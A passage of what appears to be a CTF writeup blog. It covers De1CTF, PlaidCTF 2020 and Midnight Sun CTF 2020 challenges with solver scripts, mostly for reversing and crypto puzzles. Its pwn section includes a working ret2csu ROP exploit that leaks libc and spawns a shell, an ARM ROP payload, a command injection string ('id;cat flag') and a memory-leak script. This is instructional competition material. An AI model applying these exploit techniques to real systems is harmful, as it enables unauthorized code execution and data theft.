		n1 += rxf * (perlin[(of + 1) & PERLIN_SIZE] - n1);
		n2 = perlin[(of + PERLIN_YWRAP) & PERLIN_SIZE];
		n2 += rxf * (perlin[(of + PERLIN_YWRAP + 1) & PERLIN_SIZE] - n2);
		n1 += ryf * (n2 - n1);

of += PERLIN_ZWRAP;
		n2 = perlin[of & PERLIN_SIZE];
		n2 += rxf * (perlin[(of + 1) & PERLIN_SIZE] - n2);
		n3 = perlin[(of + PERLIN_YWRAP) & PERLIN_SIZE];
		n3 += rxf * (perlin[(of + PERLIN_YWRAP + 1) & PERLIN_SIZE] - n3);
		n2 += ryf * (n3 - n2);

n1 += scaled_cosine(zf) * (n2 - n1);

r += n1 * ampl;
		ampl *= perlin_amp_falloff;
		xi <<= 1;
		xf *= 2;
		yi <<= 1;
		yf *= 2;
		zi <<= 1;
		zf *= 2;
		
		if xf >= 1.0:
			xi+=1
			xf-=1
		
		if yf >= 1.0:
			yi+=1
			yf-=1
		
		if zf >= 1.0:
			zi+=1
			zf-=1
	return r

heights=[.13,.23,.26,.36,.49,.6]

map_height=174
map_width=50
hexagon_size=5
noise_mod=1
noise_scale=.01
island_size=.62

width=504
height=500

def get(seed):
	f=[[0]*map_width for i in range(map_height)]

noiseSeed(seed)

for i in range(map_height):
		y = i * (.86 * hexagon_size)
		for j in range(map_width):
			if i%2==0:
				x = j * (hexagon_size * 3)
			else:
				x = (hexagon_size * 1.5) + j * (hexagon_size * 3)
			noiseVal = noise((x / noise_mod)*noise_scale, (y / noise_mod)*noise_scale)
			dist = sqrt(pow((x - width/2), 2) + pow((y - height/2), 2))
			grad = dist / (island_size * min(width, height))
			noiseVal -= pow(grad, 3)
			noiseVal = max(noiseVal, 0)
			t=0
			while t<6 and int(noiseVal*255)>=heights[t]*255:
				t+=1
			f[i][j]=t
	return f
def encstr(f):
	o=''
	for i in f:
		for j in i:
			o+=str(j)
	return o
for i in range(0,65536,16):
	print('gen %d'%i)
	r=''
	for j in range(i,i+16):
		r+='%d '%j+encstr(get(j))+'\n'
	open('known/%d.txt'%i,'w').write(r[:-1])
```

下面这个是匹配图片用的：

```cpp
#include<bits/stdc++.h>

typedef unsigned int uint;
typedef long long ll;
typedef unsigned long long ull;
typedef double lf;
typedef long double llf;
typedef std::pair<int,int> pii;

#define xx first
#define yy second

template<typename T> inline T max(T a,T b){return a>b?a:b;}
template<typename T> inline T min(T a,T b){return a<b?a:b;}
template<typename T> inline T abs(T a){return a>0?a:-a;}
template<typename T> inline bool repr(T &a,T b){return a<b?a=b,1:0;}
template<typename T> inline bool repl(T &a,T b){return a>b?a=b,1:0;}
template<typename T> inline T gcd(T a,T b){T t;if(a<b){while(a){t=a;a=b%a;b=t;}return b;}else{while(b){t=b;b=a%b;a=t;}return a;}}
template<typename T> inline T sqr(T x){return x*x;}
#define mp(a,b) std::make_pair(a,b)
#define pb push_back
#define I __attribute__((always_inline))inline
#define mset(a,b) memset(a,b,sizeof(a))
#define mcpy(a,b) memcpy(a,b,sizeof(a))

#define fo0(i,n) for(int i=0,i##end=n;i<i##end;i++)
#define fo1(i,n) for(int i=1,i##end=n;i<=i##end;i++)
#define fo(i,a,b) for(int i=a,i##end=b;i<=i##end;i++)
#define fd0(i,n) for(int i=(n)-1;~i;i--)
#define fd1(i,n) for(int i=n;i;i--)
#define fd(i,a,b) for(int i=a,i##end=b;i>=i##end;i--)
#define foe(i,x)for(__typeof((x).end())i=(x).begin();i!=(x).end();++i)
#define fre(i,x)for(__typeof((x).rend())i=(x).rbegin();i!=(x).rend();++i)

struct Cg{I char operator()(){return getchar();}};
struct Cp{I void operator()(char x){putchar(x);}};
#define OP operator
#define RT return *this;
#define UC unsigned char
#define RX x=0;UC t=P();while((t<'0'||t>'9')&&t!='-')t=P();bool f=0;\
if(t=='-')t=P(),f=1;x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0'
#define RL if(t=='.'){lf u=0.1;for(t=P();t>='0'&&t<='9';t=P(),u*=0.1)x+=u*(t-'0');}if(f)x=-x
#define RU x=0;UC t=P();while(t<'0'||t>'9')t=P();x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0'
#define TR *this,x;return x;
I bool IS(char x){return x==10||x==13||x==' ';}template<typename T>struct Fr{T P;I Fr&OP,(int&x)
{RX;if(f)x=-x;RT}I OP int(){int x;TR}I Fr&OP,(ll &x){RX;if(f)x=-x;RT}I OP ll(){ll x;TR}I Fr&OP,(char&x)
{for(x=P();IS(x);x=P());RT}I OP char(){char x;TR}I Fr&OP,(char*x){char t=P();for(;IS(t);t=P());if(~t){for(;!IS
(t)&&~t;t=P())*x++=t;}*x++=0;RT}I Fr&OP,(lf&x){RX;RL;RT}I OP lf(){lf x;TR}I Fr&OP,(llf&x){RX;RL;RT}I OP llf()
{llf x;TR}I Fr&OP,(uint&x){RU;RT}I OP uint(){uint x;TR}I Fr&OP,(ull&x){RU;RT}I OP ull(){ull x;TR}};Fr<Cg>in;
#define WI(S) if(x){if(x<0)P('-'),x=-x;UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0')
#define WL if(y){lf t=0.5;for(int i=y;i--;)t*=0.1;if(x>=0)x+=t;else x-=t,P('-');*this,(ll)(abs(x));P('.');if(x<0)\
x=-x;while(y--){x*=10;x-=floor(x*0.1)*10;P(((int)x)%10+'0');}}else if(x>=0)*this,(ll)(x+0.5);else *this,(ll)(x-0.5);
#define WU(S) if(x){UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0')
template<typename T>struct Fw{T P;I Fw&OP,(int x){WI(10);RT}I Fw&OP()(int x){WI(10);RT}I Fw&OP,(uint x){WU(10);RT}
I Fw&OP()(uint x){WU(10);RT}I Fw&OP,(ll x){WI(19);RT}I Fw&OP()(ll x){WI(19);RT}I Fw&OP,(ull x){WU(20);RT}I Fw&OP()
(ull x){WU(20);RT}I Fw&OP,(char x){P(x);RT}I Fw&OP()(char x){P(x);RT}I Fw&OP,(const char*x){while(*x)P(*x++);RT}
I Fw&OP()(const char*x){while(*x)P(*x++);RT}I Fw&OP()(lf x,int y){WL;RT}I Fw&OP()(llf x,int y){WL;RT}};Fw<Cp>out;

const int N=65536;

char fn[20],buf[174*50+10];
std::bitset<174*50>f[N],mask,cur;

void readf(int id)
{
	sprintf(fn,"known/%d.txt",id);
	FILE*f=fopen(fn,"r");
	fo0(i,16)
	{
		int x;
		fscanf(f,"%d",&x);
		assert(x==id+i);
		fscanf(f,"%s",buf);
		fo0(j,174*50)::f[id+i][j]=buf[j]=='6';
		::f[id+i]&=mask;
	}
	fclose(f);
}

int main()
{
	const int hexagon_size=5;
	fo0(i,174)
	{
		int x,y=i * (.86 * hexagon_size);
		fo0(j,50)
		{
			if(i%2==0)x = j * (hexagon_size * 3);
			else x = (hexagon_size * 1.5) + j * (hexagon_size * 3);
			mask[i*50+j]=x>=0&&x<504&&y>=0&&y<500;
		}
	}
	const int CN=31056;
	for(int i=0;i<CN;i+=16)readf(i);
	fo0(id,32)
	{
		sprintf(fn,"fs/%d.txt",id);
		FILE*fl=fopen(fn,"r");
		fscanf(fl,"%s",buf);
		fclose(fl);
		fo0(j,174*50)cur[j]=buf[j]=='6';
		int u;
		std::vector<int>ok;
		fo0(i,CN)if((u=(f[i]^cur).count())<10)ok.pb(i);
		if(ok.size()>10)ok.clear();
		out,id;foe(i,ok)out,' ',*i;out,'\n';
	}
}
```

下面这个是下载图片，调用匹配程序，再写入结果的：

```python
from PIL import Image
import os,time,requests,traceback
import random_seed

colors=[[120, 120, 225],[150, 150, 255],[237, 201, 175],[207, 241, 135],[167, 201, 135],[170, 170, 170],[255, 255, 255]]

heights=[.13,.23,.26,.36,.49,.6]

map_height=174
map_width=50
hexagon_size=5
noise_mod=1
noise_scale=.01
island_size=.62

width=504
height=500

def encstr(f):
	o=''
	for i in f:
		for j in i:
			o+=str(j)
	return o

f=[[0]*map_width for i in range(map_height)]

requests.get('http://134.175.230.10:6002/')

curt=int(time.time())
seqs=[]
for i in range(-30,0):
	seqs.append(random_seed.getseq(curt+i))
print('time:',curt)

for id in range(32):
	print('process',id)
	fold=open('fs/%d.webp'%id,'rb').read()
	while True:
		try:
			open('fs/%d.webp'%id,'wb').write(requests.get('http://134.175.230.10:6002/maps/%d.webp'%id).content)
			im=Image.open('fs/%d.webp'%id)
			break
		except:
			traceback.print_exc()
			time.sleep(0.5)
	fnew=open('fs/%d.webp'%id,'rb').read()
	if fold==fnew:
		print('file not changed')
		continue
	#print(im.getpixel((499,503)))
	for i in range(map_height):
		y = i * (.86 * hexagon_size)
		y=int(y)
		for j in range(map_width):
			if i%2==0:
				x = j * (hexagon_size * 3)
			else:
				x = (hexagon_size * 1.5) + j * (hexagon_size * 3)
			x=int(x)
			if x>=0 and x<width and y>=0 and y<height:
				#print(x,y,im.getpixel((y,x)))
				#if list(im.getpixel((x+8,y+8))) not in colors:
				#	print(x,y,(im.getpixel((x+8,y+8))))
				cnt=0
				for ux in range(-1,2):
					for uy in range(-1,2):
						t=im.getpixel((x+8+ux,y+8+uy))
						if t[0]>250 and t[1]>250 and t[2]>250:
							cnt+=1
				if cnt==9:
					#print(i,j,x,y)
					f[i][j]=6
				else:
					f[i][j]='x'
			else:
				f[i][j]='x'
	open('fs/%d.txt'%id,'w').write(encstr(f))

for i in range(0,25):
	seqs.append(random_seed.getseq(curt+i))

def add(s,y):
	if y not in s:
		s[y]=1
	else:
		s[y]+=1

print('run cpp')
os.system('a.exe>aout.txt')
print('run cpp ok')
if not os.path.exists('pb.txt'):
	pb=[{}for i in range(32)]
else:
	pb=eval(open('pb.txt').read())
cur=0
for i in open('aout.txt').readlines():
	t=list(map(int,i.split()))
	assert t[0]==cur//2
	t=t[1:]
	for k in t:
		high=k>>8
		low=k&255
		#a,b a+b==high b-a==low
		#b*2==high+low
		t=high+low
		if t&1:
			continue
		for b in [t>>1,(t>>1)+128&255]:
			a=(high-b)&255
			assert ((a+b)&255)==high and ((b-a)&255)==low
			for j in seqs:
				add(pb[cur//2],(j[cur]^a,j[cur+1]^b))
	cur+=2
open('pb.txt','w').write(str(pb))
```

最后跑了十几分钟，每两个字节出现大于三次的情况基本都是对了的，人工筛选一下可以得到 secret：`Minecraft Noise Secret is: De1CTF{MCerrr_L0v3_P3r1iN_N0IsE-M4p?}`。

# Reverse

## parser

flag 里可以有字母、数字和 `_+`。对于 `+` 分割的两块，程序会把他们的处理结果连起来，以 pad(`De1CTF`) 为 key 做 aes 加密；其次对于 `_` 分割的，会连起来做 des；最后对于单块的字母数字，会做 rc4。最后得到的结果会和内置串进行比较。可以尝试对当前串解密，然后判断 pad（或者是不是字母数字），如果是就递归搜索。

```python
from Crypto.Cipher import AES,DES,ARC4
import string

req=b"\xe7\xa43L\xd3\x11\xe7\x85hV\x97\x11\xee\xd2\xf8\xd9>p\xc9N\x94\xa02Z'\x98\x00\x1d\xd5\xd7\x11\x1d\xf4\x85a\xac\x0c\x80'@\xbd\xdd\x1f\x0b\xb4\x97\x1f`[T\xcb\xc5\xa8\xb7\x11\x90\xc9\xb5\x81eS\x0f~\x7f"

def xor_str(x,y):
	return bytes(map(lambda x,y:x^y,x,y))

def dec1(s):
	key=b'De1CTF\n\n\n\n\n\n\n\n\n\n'
	return AES.new(key,AES.MODE_CBC,key).decrypt(s)

def dec2(s):
	key=b'De1CTF\x02\x02'
	return DES.new(key,DES.MODE_CBC,key).decrypt(s)

def dec3(s):
	key=b'De1CTF'
	return ARC4.new(key).decrypt(s)

def checkpad(s,n):
	t=s[-1]
	if t==0 or t>n:
		return False
	return s[-t:]==bytes([t]*t)

def unpad(s):
	return s[:-s[-1]]

def valid1(s):
	return checkpad(s,16)

def valid2(s):
	return checkpad(s,8)

def valid3(s):
	t=(string.ascii_letters+string.digits).encode()
	for i in s:
		if i not in t:
			return False
	return True

def work(s):
	res=[]
	res2=[]
	if len(s)%16==0 and valid1(dec1(s)):
		res.append((unpad(dec1(s)),1))
	if len(s)%8==0 and valid2(dec2(s)):
		res.append((unpad(dec2(s)),2))
	if valid3(dec3(s)):
		res2.append(dec3(s))
	return res,res2

def dfss(t,more,lvl):
	b=dfs(t,True)
	if more:
		for j in range(1,len(t)):
			x=dfss(t[:j],False,lvl)
			if len(x)==0:
				continue
			y=dfss(t[j:],True,lvl)
			for u in x:
				for v in y:
					b.append(u+(b'+' if lvl==1 else b'_')+v)
	return b

def dfs(s,more):
	a,b=work(s)
	for t,lvl in a:
		b+=dfss(t,True,lvl)
	return b

print(b'De1CTF{'+dfs(req,True)[-1]+b'}')
```

## little_elves

动态调试，flag 被拿去做了很多次操作。每次操作 flag 中的一位被拿出，在一个 lfsr 中循环 8 次，再根据一些内置的数组决定要不要异或进去。把每一位的这些值全部异或起来，再拿去和另一个数比较，如果全部正确则返回 0。可以解析文件拿到这些数组和比较值的位置，然后高消。

```python
bin=open('little_elves','rb').read()

s=[]

cur=0
while True:
	cur=bin.find(b'\x8a\x97',cur+2)
	if cur==-1:
		break
	pos=int.from_bytes(bin[cur+2:cur+6],'little')-0x888000
	m=bin[pos:pos+44]
	pos=bin.find(bin[0x117:0x11a],cur)
	assert bin[pos+5:pos+7]==b'\x81\xfb' or bin[pos+5:pos+7]==b'\x83\xfb'
	r=bin[pos+7]
	s.append((m,r))

N=44*8
M=44

def xor(a,b):
	return list(map(lambda x,y:x^y,a,b))

def xor2(a,b):
	return list(map(lambda x,y:xor(x,y),a,b))

def lfsr(x):
	res=[[0]*N]+x[:-1]
	t=x[-1]
	for i in range(8):
		if 0x39>>i&1:
			res[i]=xor(res[i],t)
	return res

o=[]

for mask,res in s:
	b=[[0 for k in range(N)]for j in range(8)]
	for i in range(M):
		c=[[i*8+j==k for k in range(N)]for j in range(8)]
		d=mask[i]
		for j in range(8):
			if d&1:
				b=xor2(b,c)
			c=lfsr(c)
			d>>=1
	for i in range(8):
		o.append(b[i]+[res>>i&1])

s=o
for i in range(N):
	t=i
	while not s[t][i]:
		t+=1
	if t!=i:
		s[i],s[t]=s[t],s[i]
	for j in range(N):
		if j!=i and s[j][i]:
			s[j]=xor(s[j],s[i])
res=0
for i in range(M):
	t=0
	for j in range(8):
		t+=s[i*8+j][N]<<j
	print(chr(t),end='')
```

PlaidCTF 2020 Writeup

April 29, 2020

# Crypto
## stegasaurus scratch
Given a c file, which calls lua, and we need to finish two tasks.
In the first one, we need to construct an injective map between 8 distinct numbers from 0 to 39999, and 7 distinct numbers with their permutation. Note that C(40000,8)/C(40000,7) is about 5000, which is less than 7!, thus it’s possible. We may delete the number which is k-th smallest, where k is the total sum of 8 numbers modulo 8. For any 7-number tuples, there exists about 5000(more precisely, less than 5008) other numbers, such that it will be deleted. We can find the rank of the actual one in them, and encode it into a permutation.
In the second task, Alice is given an array of length 96, consists of 32 `2`s and 64 `1`s, she needs to mark 32 of the `1`s to `0`. Bob is given the remaining array, but he only knows whether a number is `0`. He needs to find all “2”s. In fact, the task needs a bijective map from C(96,32) to C(96,32), but each pair don’t have common elements. We may split the sequence into blocks of length 2, if some block is 01 or 10, just flip it. Otherwise, we obtain a new sequence with `11` and `00`, thus it’s the same as the original problem, and we can recursively solve it.
```lua
function nthperm(n)
	s={}
	t=1
	for i=1,7,1 do
		a=n//t
		t=t*i
		b=a//i
		c=a-i*b
		s[i]=c+1
	end
	for i=1,7,1 do
		for j=1,i-1,1 do
			if s[j]>=s[i] then
				s[j]=s[j]+1
			end
		end
	end
	return s
end

function permrank(s)
	s=table.shallow_copy(s)
	n=0
	t=1
	for i=7,1,-1 do
		for j=1,i-1,1 do
			if s[j]>s[i] then
				s[j]=s[j]-1
			end
		end
	end
	for i=1,7,1 do
		n=n+(s[i]-1)*t
		t=t*i
	end
	return n
end

function getdel(s)
	sum=0
	for i=1,8,1 do
		sum=sum+s[i]
	end
	return s[sum-(sum//8)*8+1]
end
function table.shallow_copy(t)
	local res={}
	for k=1,#t,1 do
		res[k]=t[k]
	end
	return res
end
function count(l,r,r2,v)
	if(r>r2)then
		r=r2
	end
	if(l>r)then
		return 0
	end
	lt=l//8
	rt=r//8
	if(lt==rt)then
		if(l<=lt*8+v and lt*8+v<=r)then
			return 1
		end
		return 0
	end
	res=rt-lt-1
	if(l<=lt*8+v)then
		res=res+1
	end
	if(rt*8+v<=r)then
		res=res+1
	end
	return res
end
function modt(x)
	if(x<0)then
		return x+8
	end
	return x
end
function countus(s,x)
	sum=0
	for i=1,7,1 do
		sum=sum+s[i]
	end
	sum=sum-(sum//8)*8
	res=count(0,s[1]-1,x,modt(-sum))
	for i=1,6,1 do
		res=res+count(s[i]+1,s[i+1]-1,x,modt(i-sum))
	end
	res=res+count(s[7]+1,39999,x,modt(7-sum))
	return res
end
function kthus(s,k)
	l=-1
	r=39999
	while l+1<r do
		mid=(l+r)//2
		if(countus(s,mid)>=k)then
			r=mid
		else
			l=mid
		end
	end
	return r
end
function Alice1(s)
	table.sort(s)
	x=getdel(s)
	local res={}
	for i=1,8,1 do
		if(s[i]~=x)then
			table.insert(res,s[i])
		end
	end
	c=countus(res,x)
	rv=nthperm(c)
	resn={}
	for i=1,7,1 do
		resn[i]=res[rv[i]]
	end
	return resn
end
function Bob1(s)
	res=table.shallow_copy(s)
	table.sort(s)
	rv={}
	for i=1,7,1 do
		for j=1,7,1 do
			if res[i]==s[j] then
				rv[i]=j
			end
		end
	end
	c=permrank(rv)
	t=kthus(s,c)
	return t
end
function getothseq(s)
	if(#s==1)then
		return s
	end
	if(#s-(#s//2)*2==1)then
		tmp=table.shallow_copy(s)
		table.remove(tmp)
		tmp=getothseq(tmp)
		table.insert(tmp,0)
		return tmp
	end
	tmp={}
	for i=1,#s-1,2 do
		if(s[i]==s[i+1])then
			table.insert(tmp,s[i])
		end
	end
	tmp=getothseq(tmp)
	c=0
	res={}
	for i=1,#s-1,2 do
		if(s[i]==s[i+1])then
			c=c+1
			table.insert(res,tmp[c])
			table.insert(res,tmp[c])
		else
			table.insert(res,s[i+1])
			table.insert(res,s[i])
		end
	end
	return res
end
function Alice2(s)
	tmp={}
	for i=1,96,1 do
		table.insert(tmp,s[i]-1)
	end
	v=getothseq(tmp)
	res={}
	for i=1,96,1 do
		if(s[i]==1 and v[i]==1) then
			table.insert(res,i)
		end
	end
	return res
end
function Bob2(s)
	tmp={}
	for i=1,96,1 do
		table.insert(tmp,1-s[i])
	end
	v=getothseq(tmp)
	res={}
	for i=1,96,1 do
		if(s[i]==1 and v[i]==1) then
			table.insert(res,i)
		end
	end
	return res
end
```

# Reverse
## The Watness 2
Run the game with HyperZebra, we find that it checks the solution with some external function, if all three levels are passed, it will output flag using the solution and some built-in keys.
The checking part is like a cellular automaton, and we can find the solution by bfs. Finally, just play the game with these paths, and we can see the flag.
```python
s='rrbrb rg g  bgrbgggr ggrgr gr rg brr  b  bggrbgbb'
t={' ':0,'r':1,'g':2,'b':3}
v=' rgb'
s=[list(s[i:i+7])for i in range(0,49,7)]
for i in range(7):
	for j in range(7):
		s[i][j]=t[s[i][j]]

def get(x,y):
	if x<0 or x>6 or y<0 or y>6:
		return 0
	return s[x][y]

def get_neighbors(x,y):
	c=[0]*4
	for i in range(-1,2):
		for j in range(-1,2):
			if i or j:
				c[get(x+i,y+j)]+=1
	return c[1],c[2],c[3]

def nxt(s):
	r=[[0]*7 for i in range(7)]
	for i in range(7):
		for j in range(7):
			c1,c2,c3=get_neighbors(i,j)
			arg4,arg2,arg0=c1,c2,c3
			if s[i][j]==0:
				if arg2==0 and arg0==0:
					arg6=0
				elif arg0<arg2:
					arg6=2
				else:
					arg6=3
			elif s[i][j]==1:
				if arg4!=2 and arg4!=3:
					arg6=0
				elif arg0==0 or arg2==0:
					arg6=0
				else:
					arg6=1
			elif s[i][j]==2:
				if arg4>4:
					arg6=0
				elif arg0>4:
					arg6=3
				elif arg4==2 or arg4==3:
					arg6=1
				else:
					arg6=2
			else:
				assert s[i][j]==3
				if arg4>4:
					arg6=0
				elif arg2>4:
					arg6=2
				elif arg4==2 or arg4==3:
					arg6=1
				else:
					arg6=3
			r[i][j]=arg6
	return r

def ok_red(x1,y1,x2,y2):
	if x1<0 or x1>7 or y1<0 or y1>7:
		return 0
	if x2<0 or x2>7 or y2<0 or y2>7:
		return 0
	if x1==x2:
		if y1>y2:y1=y2
		return get(x1,y1)==1 or get(x1-1,y1)==1
	assert y1==y2
	if x1>x2:x1=x2
	return get(x1,y1)==1 or get(x1,y1-1)==1

pos=[(0,0,'','(0,0)')]
for i in range(50):
	npos=set()
	for x,y,path,his in pos:
		for nx,ny,d in [(x-1,y,'u'),(x+1,y,'d'),(x,y-1,'l'),(x,y+1,'r')]:
			if ok_red(x,y,nx,ny):
				np=path+d
				if '(%d,%d)'%(nx,ny) in his:
					continue
				npos.add((nx,ny,np,his+'(%d,%d)'%(nx,ny)))
	pos=npos
	for x,y,path,his in pos:
		if x==7 and y==7:
			print(len(path),path)
	s=nxt(s)
```

## A Plaid Puzzle
It contains a big matrix, elements fall down, change according to the characters of the flag, and interact with each other. In fact, each line of the puzzle is independent. The last element will “eat” every element in front of it, and finally check if it’s equal to some constant. There are 64 different statuses in this process, and in fact it’s just xor (but shuffled). So we can find some relations about the xor, and find the flag by gauss elimination.
```python

raw=open('code.txt','r',encoding='utf-8').readlines()

cmap={}
for i in range(1139,1267):
	a,b=raw[i].strip().split(' = ')
	cmap[a]=b

cmap['C']='fljldviokmmfmqzd'
cmap['F']='iawjsmjfczakueqy'
cmap['.']='.'
cmap['X']='X'

rule1s=[]
rule1={}
rule1x={}
for i in range(64):
	rule1['char'+str(i)]={}

for i in range(1427,5523):
	t=raw[i].strip()
	a,b=t[:-6].split(' -> ')
	ax,ay=a[2:-2].split(' | ')
	bx,by=b[2:-2].split(' | ')
	rule1s.append((ay,ax,bx))
	rule1[ay][ax]=bx
	if ax not in rule1x:
		rule1x[ax]={}
	rule1x[ax][bx]=ay

rule2s=[]
rule2={}
rule2x={}

for i in range(5523,9619):
	t=raw[i].strip()
	a,c=t[8:-10].split(' ] -> [ ')
	a,b=a.split(' | ')
	rule2s.append((a,b,c))
	if a not in rule2:
		rule2[a]={}
	rule2[a][b]=c
	if c not in rule2x:
		rule2x[c]={}
	rule2x[c][a]=b

rule3s=[]
rule3={}

for i in range(9619,9747):
	t=raw[i].strip()
	a,c=t[2:-10].split(' ] -> [ ')
	a,b=a.split(' | ')
	rule3s.append((a,b,c))
	if a not in rule3:
		rule3[a]={}
	rule3[a][b]=c

board=[]
for i in range(9760,9806):
	t=list(raw[i].strip())
	for j in range(len(t)):
		t[j]=cmap[t[j]]
	board.append(t)

board.append(['']*47)
board.append(['X']+['char63']*45+['X'])

charmap=list(map(chr,range(65,65+26)))+list(map(chr,range(97,97+26)))+list(map(chr,range(48,48+10)))+['{','}']

req='kkavwvmbabfuqctz'

slist=[]
for x in rule2x[req]:
	slist.append(rule2x[req][x])

sid={}
for i in range(64):
	sid[slist[i]]=i

tbl=[[0]*64 for i in range(64)]
for tr in slist:
	for op1 in range(64):
		t=board[1][2]
		v=rule1['char'+str(op1)][t]
		nxt=rule2x[tr][v]
		tbl[sid[tr]][op1]=sid[nxt]

t=[]
u=0
cur=set([u])
while True:
	x=0
	while x<64 and tbl[u][x] in cur:
		x+=1
	if x==64:
		break
	t.append(x)
	for i in cur.copy():
		cur.add(tbl[i][x])
	curu=[]
	for i in range(64):
		if tbl[u][i] in cur:
			curu.append(i)
sr=[]
for i in range(64):
	v=u
	for j in range(6):
		if i>>j&1:
			v=tbl[v][t[j]]
	for j in range(64):
		if tbl[u][j]==v:
			sr.append(j)
sl=[]
for i in range(64):
	sl.append(tbl[u][sr[i]])

slrev=[0]*64
for i in range(64):
	slrev[sl[i]]=i

eq=[]

for X in range(45,0,-1):
	cur=[]
	xor_const=slrev[sid[req]]^slrev[sid[board[X][46]]]
	for Y in range(1,46):
		t=board[X][Y]
		tmp=[0]*6
		for i in range(6):
			k=sr[1<<i]
			v=rule1['char'+str(k)][t]
			tmp[i]=slrev[sid[rule2x[slist[sl[0]]][v]]]
		cur+=tmp
	for i in range(6):
		t=[]
		for j in cur:
			t.append(j>>i&1)
		t.append(xor_const>>i&1)
		eq.append(t)

s=eq
n=len(s)
m=len(s[0])
c=0

for i in range(m-1):
	if not s[c][i]:
		t=c+1
		while t<n and not s[t][i]:
			t+=1
		s[c],s[t]=s[t],s[c]
	for j in range(n):
		if j!=c and s[j][i]:
			for k in range(m):
				s[j][k]^=s[c][k]
	c+=1
for i in range(0,45*6,6):
	t=sum(s[i+j][m-1]<<j for j in range(6))
	print(charmap[sr[t]],end='')
print()
```

Midnight Sun CTF 2020 Quals Writeup

April 5, 2020

# pwn
## admpanel
Run `id;cat flag`.

## Pwny racing - pwn1
ret2csu. See https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/medium-rop-zh/ (English: https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/medium-rop/ ) for more information.

```python
from pwn import *
from time import sleep

p=ELF('./pwn1')
main_addr=0x400698
main_end_addr=0x40070b
csu_end_addr=0x40077a
csu_front_addr=0x400760
fakeebp = b'b' * 8
bss_base = 0x602040 # not real bss_base, since stdin and stdout are at the real one

libc=ELF('./libc.so')

r=remote('pwn1-01.play.midnightsunctf.se',10001)

def csu(rbx, rbp, r12, r13, r14, r15, last):
	# pop rbx,rbp,r12,r13,r14,r15
	# rbx should be 0
	# rbp should be 1, disable jump
	# r12 should be the function we want to call
	# rdi=edi=r13 <- different from ctf-wiki
	# rsi=r14
	# rdx=r15
	payload = b'a' * 0x40 + fakeebp
	payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
	payload += p64(csu_front_addr)
	payload += b'a' * 0x38
	payload += p64(last)
	r.send(payload+b'\n')
	sleep(1)

r.recvuntil('buffer: ')
csu(0, 1, p.got['puts'], p.got['puts'], 0, 0, main_addr) # leak puts addr
puts_addr=int.from_bytes(r.recv(6),'little')
libc_addr=puts_addr-libc.symbols['puts']

r.recvuntil('buffer: ')
csu(0, 1, p.got['gets'], bss_base, 0, 0, main_addr)
r.send(b'/bin/sh\0\n')

r.recvuntil('buffer: ')
csu(0, 1, p.got['gets'], bss_base + 8, 0, 0, main_addr)
r.send(p64(libc_addr+libc.symbols['execve'])[:7]+b'\n') # gets will fill the last \0

r.recvuntil('buffer: ')
csu(0, 1, bss_base + 8, bss_base, 0, 0, main_addr)

r.interactive()
```

## Pwny racing - pwn3
ARM rop. I used ROPgadget to find gadgets. Note that libc is in thumb mode, so we need to add 1 to its address to switch to thumb mode.

```python
from pwn import *

r=remote('pwn3-01.play.midnightsunctf.se',10003)

exp=b'0'*4*35
exp+=p32(0x1fb5c)
exp+=p32(0x49018)
exp+=p32(0)
exp+=p32(0x14b5c+1) # switch to thumb

r.send(exp+b'\n')

r.interactive()
```

# forensics
## masterpiece
Get snes9x, find `Mario Paint (Japan, USA).sfc` from some websites.

I expected it to run, however, it stuck. I took a normal snapshot, and replace the header of given file. Then it successfully ran, and flag was shown.

# rev
## avr-rev
Main function is at sub_319. It reads a string, and decode it as some JSON-like data. Decode function is at sub_137. Then the decoded data is printed, along with a mystery number. This number seems calculated in sub_2D5.

For most objects, the number is 0. For `{xx:xx}`, the number is 1. For `{number:xx}`, the number is 2. For `{1337:string}`, the number is various.

In this case, the string is compared with flag, where flag is given in sub_884, in some strange way. When a character is different from flag, the result will be `(string[i]-flag[i])%256`. Thus we can find the flag byte by byte.

However, the string is at most 32 bytes, thus it only contains the first flag (for avr-rev).

### Bonus
After the CTF, we find the solution to avr-pwn. Send the following two strings, and they are connected into a big string. (`0123456789` is just a various padding)

```
{1:1,1337:"0123456789..."}
{1337:"...(32 bytes)"}
```

This is because the program malloc some new memory each time, and they are adjacent. Here's the script to find guess each byte.

```python
from pwn import *

r=remote('avr-01.play.midnightsunctf.se',1337)

def getnxt(s):
	t=s[:32]
	s=s[32:]
	v=[]
	while len(s):
		v.append(s[:22])
		s=s[22:]
	CHR='*'
	if len(v[-1])==22:
		v.append(CHR)
	else:
		v[-1]+=CHR
	for i in range(len(v)-1,-1,-1):
		r.recvuntil('\n')
		r.send('{'+'1:1,'*(i+1)+'1:"'+' '*10+v[i]+'"}\n')
		r.recvuntil('"}')
		r.recvuntil('\n')
	r.recvuntil('\n')
	r.send('{1337:"'+t+'"}\n')
	r.recvuntil('"}')
	r.recvuntil('\n')
	res=r.recvuntil('\n')
	return chr((ord(CHR)-int(res))%256)

cur='''First: midnight{only31?} But to get the second flag y'''
print(len(cur))
while True:
	cur+=getnxt(cur)
	print(cur)
```

# crypto
## pyBonHash
First use uncompyle6 to decompile the file.

Since each `bytes([data1, data2])` and `bytes([key1, key2])` only have 65536 options, we can enumerate all of them, and match with each other.

```python
import binascii,hashlib
from Crypto.Cipher import AES

s=open('hash.txt').read().strip()
s=binascii.unhexlify(s.encode())
n=len(s)//32
kl=42
key=[-1]*kl

fr={}

for i in range(256):
	for j in range(256):
		tohash = bytes([i,j])
		fr[hashlib.md5(tohash).hexdigest().encode()]=(i,j)

FIBOFFSET = 4919
MAXFIBSIZE = 500 + FIBOFFSET

def fibseq(n):
	out = [0, 1]
	for i in range(2, n):
		out += [out[(i - 1)] + out[(i - 2)]]
	return out
FIB = fibseq(MAXFIBSIZE)

def setkey(x,y):
	if key[x]==-1:
		key[x]=y
	assert key[x]==y

for i in range(n):
	t=s[i*32:i*32+32]
	for k1 in range(256):
		for k2 in range(256):
			thiskey = bytes([k1, k2]) * 16
			cipher = AES.new(thiskey, AES.MODE_ECB)
			v = cipher.decrypt(t)
			if v in fr:
				x,y=fr[v]
